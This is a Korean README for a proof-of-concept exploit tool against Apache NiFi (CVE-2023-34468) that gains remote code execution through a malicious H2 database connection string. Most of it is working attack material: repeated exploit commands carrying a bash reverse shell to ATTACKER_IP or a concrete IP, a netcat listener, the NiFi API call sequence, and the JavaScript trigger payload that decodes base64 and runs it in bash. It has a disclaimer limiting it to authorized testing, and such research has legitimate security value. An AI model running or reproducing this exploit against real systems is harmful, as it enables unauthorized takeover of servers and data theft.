
CVE-2023-34468 - Apache NiFi H2 RCE PoC
이 저장소는 Apache NiFi 0.0.2~1.21.0에 존재하는 치명적인 원격 코드 실행 취약점(CVSS 9.8)인 CVE-2023-34468을 위한 Python 기반 익스플로잇 도구를 제공합니다. 이 취약점은 임베디드 트리거가 포함된 H2 데이터베이스 연결 문자열을 조작하여 인증된 사용자가 임의 코드를 실행할 수 있게 합니다.
⚠️ 경고: 교육 및 공인된 테스트 목적으로만 사용하세요. 컴퓨터 시스템에 대한 무단 액세스는 불법입니다.
requests 라이브러리nc -lnvp 5555)git clone https://github.com/Jeanpt/CVE-2023-34468.git
cd CVE-2023-34468
pip install -r requirements.txt
# Start your listener
nc -lnvp 5555
# Run the exploit — auth is auto-detected, no flags needed for open instances
python3 exploit.py \
-t http://nifi.target.com:8080 \
-c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
-lh ATTACKER_IP \
-lp 5555
python3 exploit.py \
-t https://nifi.target.com:8443 \
-c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
-lh ATTACKER_IP \
-lp 5555 \
-u admin -p password123
python3 exploit.py \
-t https://nifi.target.com:8443 \
-c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
-lh ATTACKER_IP \
-lp 5555 \
--token <your_bearer_token>
python3 exploit.py -t http://target:8080 -c "..." -lh ATTACKER_IP -lp 5555 --no-cleanup
python3 exploit.py --help
검증: 리버스 셸 연결을 위해 리스너를 확인하세요. id를 실행하여 코드 실행을 확인하세요.
/nifi-api/system-diagnostics를 통해 NiFi 버전 확인/nifi-api/process-groups/root/controller-services에 POSTENABLED로 /nifi-api/controller-services/{id}/run-status에 PUTRUNNING으로 /nifi-api/processors/{id}/run-status에 PUT — 연결 시 H2 트리거가 실행됨jdbc:h2:file:/tmp/{random_db}.db;TRACE_LEVEL_SYSTEM_OUT=0\;CREATE TRIGGER {random_name}
BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec('bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}')
$$--=x
핵심 포인트:
\;BEFORE SELECT ON INFORMATION_SCHEMA.TABLES에서 실행됩니다 (자동 트리거)# Run exploit directly
python3 exploit.py -t http://target:8080 -c "bash -i >& /dev/tcp/10.10.16.46/5555 0>&1" -lh 10.10.16.46 -lp 5555
python3 exploit.py -t http://target:8080 -c "touch /tmp/pwned" -lh 127.0.0.1 -lp 5555
이 도구는 보안 연구 및 공인된 테스트 목적으로만 제공됩니다. 저자는 이 익스플로잇으로 인한 오용이나 손상에 대해 책임지지 않습니다. 항상 공인된 환경에서 책임감 있게 테스트하세요.
MIT 라이선스 - 자세한 내용은 LICENSE 파일 참조
보안 연구 및 공인된 침투 테스트를 위해 제작되었습니다.
주제: apache-nifi h2-database rce exploit cve-2023-34468 python security-research
| 명령 | 설명 |
|---|
-t, --target | 대상 NiFi 인스턴스 URL (필수) |
-c, --command | 실행할 명령 (필수) |
-lh, --lhost | 콜백용 리스너 호스트 (필수) |
-lp, --lport | 콜백용 리스너 포트 (필수) |
-u, --username | NiFi 사용자 이름 (인증된 인스턴스) |
-p, --password | NiFi 비밀번호 (인증된 인스턴스) |
--token | Bearer 토큰 (인증된 인스턴스) |
--no-cleanup | 익스플로잇 후 정리 건너뛰기 |
--delay | 정리 전 대기 시간(초) (기본값: 10) |
--driver-path | H2 드라이버 jar 경로 재정의 (기본적으로 생략됨) |